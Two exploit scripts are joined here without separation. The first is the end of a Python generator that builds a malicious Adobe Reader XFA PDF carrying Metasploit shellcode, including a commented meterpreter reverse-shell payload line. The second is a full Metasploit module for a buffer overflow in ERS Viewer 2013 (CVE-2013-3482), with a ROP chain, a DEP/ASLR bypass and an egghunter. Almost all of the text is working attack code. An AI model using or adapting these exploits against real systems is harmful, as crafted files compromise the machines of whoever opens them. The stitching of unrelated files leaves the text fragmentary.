    xdp = xdp.replace("%%BMPFREELFH%%",mkBMP('\x01\x00\x00\x00\x00\x00'+ chr(0x27)+'\x05',True).encode('base64'))
    #xdp = xdp.replace("%%BMPFREELFH%%",file("/usr/share/pixmaps/gnome-news.png","rb").read().encode('base64'))
  
    file("%s.log"%sys.argv[0].split('.')[0],'wb').write(xdp)
    #The document
    doc = PDFDoc()
      
    #font
    font = PDFDict()
    font.add("Name", PDFName("F1"))
    font.add("Subtype", PDFName("Type1"))
    font.add("BaseFont", PDFName("Helvetica"))
  
    #name:font map
    fontname = PDFDict()
    fontname.add("F1",font)
  
    #resources
    resources = PDFDict()
    resources.add("Font",fontname)
      
    #contents
    contentsDict = PDFDict()
    contents=  PDFStream(contentsDict, '''BT
    /F1 24 Tf
    100 100 Td
    (Pedefe Pedefeito Pedefeon!) Tj
    ET''')
      
    #page
    page = PDFDict()
    page.add("Type",PDFName("Page"))
    page.add("Resources",resources)
    page.add("Contents", PDFRef(contents))
  
    #pages
    pages = PDFDict()
    pages.add("Type", PDFName("Pages"))
    pages.add("Kids", PDFArray([PDFRef(page)]))
    pages.add("Count", PDFNum(1))
  
    #add parent reference in page
    page.add("Parent",PDFRef(pages))
  
    xfa = PDFStream(PDFDict(), xdp)
    xfa.appendFilter(FlateDecode())
    doc.add(xfa)
  
    #form
    form = PDFDict()
    form.add("XFA", PDFRef(xfa))
    doc.add(form)
  
    #shellcode2
    shellcode2 = PDFStream(PDFDict(), struct.pack("<L",0xcac0face)+"\xcc"*10)
    doc.add(shellcode2)
  
    #catalog
    catalog = PDFDict()
    catalog.add("Type", PDFName("Catalog"))
    catalog.add("Pages", PDFRef(pages))
    catalog.add("NeedsRendering", "true")
    catalog.add("AcroForm", PDFRef(form))
  
  
    adbe = PDFDict()
    adbe.add("BaseVersion","/1.7")
    adbe.add("ExtensionLevel",PDFNum(3))
  
    extensions = PDFDict()
    extensions.add("ADBE", adbe)
  
    catalog.add("Extensions",extensions)
    doc.add([catalog,pages,page,contents])
    doc.setRoot(catalog)
  
  
    #render it
    return doc.__str__()
  
  
if __name__ == '__main__':
    import optparse,os
    from subprocess import Popen, PIPE
    parser = optparse.OptionParser(description='Adobe Reader X 10.1.4 XFA BMP RLE Exploit')
    parser.add_option('--debug', action='store_true', default=False, help='For debugging')
    parser.add_option('--msfpayload', metavar='MSFPAYLOAD', default="windows/messagebox ", help="Metasploit payload. Ex. 'win32_exec CMD=calc'")
    parser.add_option('--payload', metavar='PAYLOAD', default=None)
    parser.add_option('--doc', action='store_true', default=False, help='Print detailed documentation')
    (options, args) = parser.parse_args()
   
    if options.doc:
        print __doc__
        os.exit(-1)
  
    if options.debug:
        print mkXFAPDF(),
        os.exit(-1)
    if options.payload == None:
        #"windows/meterpreter/reverse_tcp LHOST=192.168.56.1 EXITFUNC=process R"
        msfpayload = Popen("msfpayload4.4 %s R"%options.msfpayload, shell=True, stdout=PIPE)
        shellcode = msfpayload.communicate()[0]
    else:
        shellcode = file(options.payload, "rb").read() #options.hexpayload.decode('hex')
    print mkXFAPDF(shellcode),

require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Egghunter
  
  def initialize(info={})
    super(update_info(info,
      'Name'           => "ERS Viewer 2013 ERS File Handling Buffer Overflow",
      'Description'    => %q{
          This module exploits a buffer overflow vulnerability found in ERS Viewer 2013.
        The vulnerability exists in the module ermapper_u.dll, where the function
        rf_report_error handles user provided data in a insecure way. It results in
        arbitrary code execution under the context of the user viewing a specially crafted
        .ers file. This module has been tested successfully with ERS Viewer 2013 (versions
        13.0.0.1151) on Windows XP SP3 and Windows 7 SP1.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'James Fitts', # Vulnerability Discovery
          'juan vazquez' # Metasploit
        ],
      'References'     =>
        [
          [ 'CVE', '2013-3482' ],
          [ 'OSVDB', '93650' ],
          [ 'URL', 'http://secunia.com/advisories/53620/' ]
        ],
      'Payload'        =>
        {
          'Space'    => 4000,
          'DisableNops' => true,
        },
      'DefaultOptions'  =>
        {
          'ExitFunction' => "process",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Tested on Windows XP SP3
          [ 'ERS Viewer 2013 13.0.0.1151 / NO DEP / NO ASLR',
            {
              'Offset' => 191,
              'Ret' => 0x100329E9 # jmp eax # from ermapper_u.dll
            }
          ],
          # Tested on Windows XP SP3 and Windows 7 SP1
          [ 'ERS Viewer 2013 13.0.0.1151 / DEP & ASLR bypass',
            {
              'Offset' => 191,
              'Ret' => 0x100E1152,     # xchg eax, esp # ret # from ermapper_u.dll
              'RetNull' => 0x30d07f00, # ret ending with null byte # from ethrlib.dll
              'VirtualAllocPtr' => 0x1010c0f4
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "May 23 2013",
      'DefaultTarget'  => 1))
  
    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.ers']),
      ], self.class)
  
  end
  
  def create_rop_chain()
    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets =
      [
        0x10082624,    # POP EAX # RETN [ermapper_u.dll]
        0x1010c0f4,    # ptr to &VirtualAlloc() [IAT ermapper_u.dll]
        0x1001a9c0,    # MOV EAX,DWORD PTR DS:[EAX] # RETN [ermapper_u.dll]
        0x1005db36,    # XCHG EAX,ESI # RETN [ermapper_u.dll]
        0x10105d87,    # POP EBX # RETN [ermapper_u.dll]
        0xffffffff,    #
        0x30d059d9,    # INC EBX # RETN [ethrlib.dll]
        0x30d059d9,    # INC EBX # RETN [ethrlib.dll]
        0x100e9dd9,    # POP EAX # RETN [ermapper_u.dll]
        0xa2dbcf75,    # put delta into eax (-> put 0x00001000 into edx)
        0x1001aa04,    # ADD EAX,5D24408B # RETN [ermapper_u.dll]
        0x10016a98,    # XCHG EAX,EDX # OR EAX,4C48300 # POP EDI # POP EBP # RETN [ermapper_u.dll]
        0x10086d21,    # RETN (ROP NOP) [ermapper_u.dll]
        0x1001a148,    # & push esp # ret  [ermapper_u.dll]
        0x10082624,    # POP EAX # RETN [ermapper_u.dll]
        0xffffffc0,    # Value to negate, will become 0x00000040
        0x100f687d,    # NEG EAX # RETN [ermapper_u.dll]
        0x1001e720,    # XCHG EAX,ECX # ADC EAX,5DE58B10 # RETN [ermapper_u.dll]
        0x100288b5,    # POP EAX # RETN [ermapper_u.dll]
        0x90909090,    # nop
        0x100e69e0,    # PUSHAD # RETN [ermapper_u.dll]
      ].flatten.pack("V*")
  
    return rop_gadgets
  end
  
  # Restore the stack pointer in order to execute the final payload successfully
  def fix_stack
    pivot = "\x64\xa1\x18\x00\x00\x00"  # mov eax, fs:[0x18] # get teb
    pivot << "\x83\xC0\x08"             # add eax, byte 8 # get pointer to stacklimit
    pivot << "\x8b\x20"                 # mov esp, [eax] # put esp at stacklimit
    pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
    return pivot
  end
  
  # In the Windows 7 case, in order to bypass ASLR/DEP successfully, after finding
  # the payload on memory we can't jump there directly, but allocate executable memory
  # and jump there. Badchars: "\x0a\x0d\x00"
  def hunter_suffix(payload_length)
    # push flProtect (0x40)
    suffix = "\xB8\xC0\xFF\xFF\xFF"                              # mov eax, 0xffffffc0
    suffix << "\xF7\xD8"                                         # neg eax
    suffix << "\x50"                                             # push eax
    # push flAllocationType (0x3000)
    suffix << "\x66\x05\xC0\x2F"                                 # add ax, 0x2fc0
    suffix << "\x50"                                             # push eax
    # push dwSize (0x1000)
    suffix << "\x66\x2D\xFF\x1F"                                 # sub ax, 0x1fff
    suffix << "\x48"                                             # dec eax
    suffix << "\x50"                                             # push eax
    # push lpAddress
    suffix << "\xB8\x0C\x0C\x0C\x0C"                             # mov eax, 0x0c0c0c0c
    suffix << "\x50" # push eax
    # Call VirtualAlloc
    suffix << "\xFF\x15" + [target['VirtualAllocPtr']].pack("V") # call ds:VirtualAlloc
    # Copy payload (edi) to Allocated memory (eax)
    suffix << "\x89\xFE"                                         # mov esi, edi
    suffix << "\x89\xC7"                                         # mov edi, eax
    suffix << "\x31\xC9"                                         # xor ecx, ecx
    suffix << "\x66\x81\xC1" + [payload_length].pack("v")        # add cx, payload_length
    suffix << "\xF3\xA4"                                         # rep movsb
    # Jmp to the final payload (eax)
    suffix << "\xFF\xE0"                                         # jmp eax
  
    return suffix
  end
  
  def exploit
  
    #These badchars do not apply to the final payload
    badchars = [0x0c, 0x0d, 0x0a].pack("C*")
  
    eggoptions =
      {
        :checksum => true,
        :eggtag => 'w00t'
      }
    my_payload = fix_stack + payload.encoded
  
    if target.name =~ /DEP & ASLR bypass/
      # The payload length can't include NULL's in order to
      # build the stub which will copy the final payload to
      # executable memory
      while [my_payload.length].pack("v").include?("\x00")
        my_payload << rand_text(1)
      end
    end
  
    hunter,egg = generate_egghunter(my_payload, badchars, eggoptions)
  
    if target.name =~ /DEP & ASLR bypass/
      hunter.gsub!(/\xff\xe7/, hunter_suffix(my_payload.length))
    end
  
    if target.name =~ /NO DEP/
      buf = rand_text_alpha(1)
      buf << (0x01..0x04).to_a.pack("C*") # Necessary to align EAX as expected
      buf << "AA" # EAX pointing to buf[5] prefixed with 0x00 after ret
      buf << hunter
      buf << rand_text_alpha(target['Offset'] - buf.length)
      buf << [target.ret].pack("V") # jmp eax
      buf << rand_text_alpha(8)
      buf << egg
    elsif target.name =~ /DEP & ASLR bypass/
      buf = rand_text_alpha(1)
      buf << (0x01..0x04).to_a.pack("C*") # Necessary to align EAX as expected
      buf << [target['RetNull']].pack("V")[1,3] # EAX pointing to buf[5] prefixed with 0x00 after ret
      buf << create_rop_chain
      buf << hunter
      buf << rand_text_alpha(target['Offset'] - buf.length)
      buf << [target.ret].pack("V") # xchg eax, esp # ret
      buf << rand_text_alpha(8)
      buf << egg
    end
  
    ers = %Q|
DatasetHeader Begin
#{buf} End
    |
  
    file_create(ers)
  end
end